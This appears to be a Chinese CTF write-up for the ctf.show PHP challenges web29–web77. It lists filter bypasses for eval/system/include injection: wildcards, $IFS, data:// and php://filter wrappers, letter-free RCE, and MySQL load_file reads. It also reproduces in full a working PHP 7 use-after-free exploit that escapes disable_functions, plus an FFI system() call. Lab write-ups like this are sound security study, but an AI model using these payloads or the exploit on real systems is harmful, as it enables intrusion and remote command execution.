web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
题目过滤了flag,相当于什么也没过滤,姿势就有很多了
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了system, 还可以有很多函数去替代
system()
passthru() # passthru — 执行外部程序并且显示原始输出
exec() # exec — 执行一个外部程序
shell_exec() # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
**这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示**
?c=echo passthru("cat f*");
?c=echo `cat f*`;
c=echo exec('nl fla?????');
或者
?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了php,cat ,还有空格,
cat 被过滤可替换
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file
paste 指令会把每个文件以列对列的方式,一列列地加以合并。
空格可替换
$IFS $IFS$9 ${IFS}
> < <> 重定向符
%09(需要php环境)
{cat,flag.php} //用逗号实现了空格功能
%20
?c=echo(`vi%09f*`);
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符
web32
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
多过滤了反引号,echo,和括号
include不需要括号,可以考虑使用,?> 也可以替代分号 ;
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web33~36
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
这个直接打穿
web37
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
可以用data伪协议
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web38
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
多过滤了PHP,可以用编码绕过或者短标签
c=data://text/plain,<?=%20system("tac%20fl*");?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web39
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
拼接一个 .php
data://text/plain, 相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
过滤了$ 和 引号,无法使用伪协议
一般括号里参数都要用引号,这里学习一下无参数RCE
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能带参数。
无参数读文件
c=readfile(next(array_reverse(scandir(getcwd()))));
show_source(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(getcwd()))));
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
把大部分的字符都过滤了,但还是可以尝试去找一下0~255可以用到的字符,通过异或运算
大佬讲的很详细
python .\exp.py URL

web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
所以不能让后面执行,所以需要把后面截断ls;%0a,还可以用%26以及||
c=tac%20f*;
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
多过滤了cat ,和分号;
c=tac%20f*||
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
同上,
c=tac%20f*||
c= nl%20f*||
c= vi fl*||
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
空格被过滤,可以用 $IFS$9 %09 代替
c=tac%09fl*||
c=tac$IFS$9fl*||
web46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
数字也被过滤,还可以试其他的方法过空格
c=nl<>fl''ag.php||
c=vi<>fl''ag.php||
c=sort<>fl''ag.php||
web47–51
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
过滤了一些函数,问题不大,上面的方法同样适用
web52
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\
这里增加过滤了 < > , 可以 ${IFS} 来绕过空格
c=ls|| 看见有一个flag.php
c=nl${IFS}fl?g.php|| 查看发现$flag="flag_here";
flag不在这里,去根目录看看
c=ls${IFS}/|| 有个flag目录
c=nl${IFS}/fl?g|| 直接查看得到flag
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
一样的直接写
c=nl${IFS}fl?g.php
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
这些过滤可以用单引号绕过,直接写
c=ls 有一个flag.php
c=cp${IFS}fl??.???${IFS}m.txt 把flag文件复制出来
直接查看m.txt
web55(无字母RCE)
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
这里被过滤了字母,没有思路,参考了一下hint
大佬的方法
无字母数字的webshell
大概讲一下大佬的思路,
我们可以通过post一个文件(文件里面的sh命令),发现点(.)没有被过滤,通过.去执行sh命令不需要有执行权限
一般来说这个文件在linux下面保存临时文件在/tmp/php??? ???一般后面的6个字符是随机生成的有大小写
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://592f5f1e-3a81-480f-8b7f-74962233dc06.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
构造一个文件上传的本地HTML,然后抓包像这样


?c=.%20/???/????????[@-[] [@-[] 是进行匹配大写字母的
#!/bin/sh
ls 就可以正常RCE

web56
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
同样的无字母数字的RCE,还是上题的思路

?c=.%20/???/????????[@-[] 固定写法吧
当字母数字过滤时,(.)点没有被过滤,可以考虑这种方法

web57
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
点被过滤,提示了flag在36.php里,这里只需要构造36出来,和后面的 .php拼接就行。但是数字和字母都被过滤,学到了一种新的姿势,(())运算,一起来看看

$(()) 得到0
$((~$(()))) 取反得到-1
$((~$(($((~$(())))$((~$(()))))))) 得到1


以此类推,一直到36就行
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
web58
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
c=system('ls');
Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
类似的很多函数都被禁掉了
这里可以无参读文件
c=readfile(next(array_reverse(scandir(getcwd()))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(getcwd()))));
也可以复制文件
copy("flag.php","flag.txt");
c=print_r(scandir('.'));
//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中`
方法还有很多
web59~65
因为没有禁用show_cource(),上面的方法同样适用,还有都可以用无参读文件一把索,可以多试试其他的姿势,学习嘛
web66~67
老方法,但是flag没在这里
$flag="秀秀得了,这次不在这里";
扫描根目录,看见有flag.txt文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
直接把文件包含出来
c=include('/flag.txt');
c=require('/flag.txt');
c=highlight_file("/flag.txt");
web68~70
打开就是这个, highlight_file()函数被禁用,并不影响
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
还是可以文件包含出来
c=require('/flag.txt');
web71
用同样的方法,会发现输出值会被处理,被?替代了
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????{????????-????-????-????-????????????} 你要上天吗?
我们可以服务端执行完我们的恶意 payload 后就停止运行 php 程序
c=require('/flag.txt');exit(0);
web72
下载的附件
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
扫描目录,看见有flag0.txt
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
bin dev etc flag0.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
按之前的方法读flag不行,因为这里有open_basedir,ini_set()又被禁用了,网上有绕过的公开漏洞exp
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
把下面这一大串URL编码再POST就可以了
pwn("cat /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function my_str_repeat($a,$b){
$s = '';
for($i = 0; $i <= $b;$i++){
$s.=$a;
}
return $s;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(my_str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(my_str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
exit();

web73
web74
同上,先扫目录看看,
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();
bin dev etc flagx.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
试试直接包含flagx.txt
c=include('/flag.txt');exit();
c=require('/flag.txt');exit();
web75
扫目录
bin dev etc flag36.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
c=include('/flag36.txt');exit();
看见又是open_basedir,尝试用Web72的exp试试,UAF失败

新方法,用mysql去访问文件,ctftraining数据库名,/flag36.txt要访问的文件,数据库名可以根据前面的题目去查到
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web76
bin dev etc flag36d.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
方法同上
web77(FFI)
bin boot dev etc flag36x.txt home lib lib64 media mnt opt proc readflag root run sbin srv sys tmp usr var
看到有一个flag36x.txt和一个readflag
用上面mysql的方法读取失败

看到提示说是PHP7.4,就想到了FFI,7.4以上才有
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
在访问1.txt

722

被折叠的 条评论
为什么被折叠?



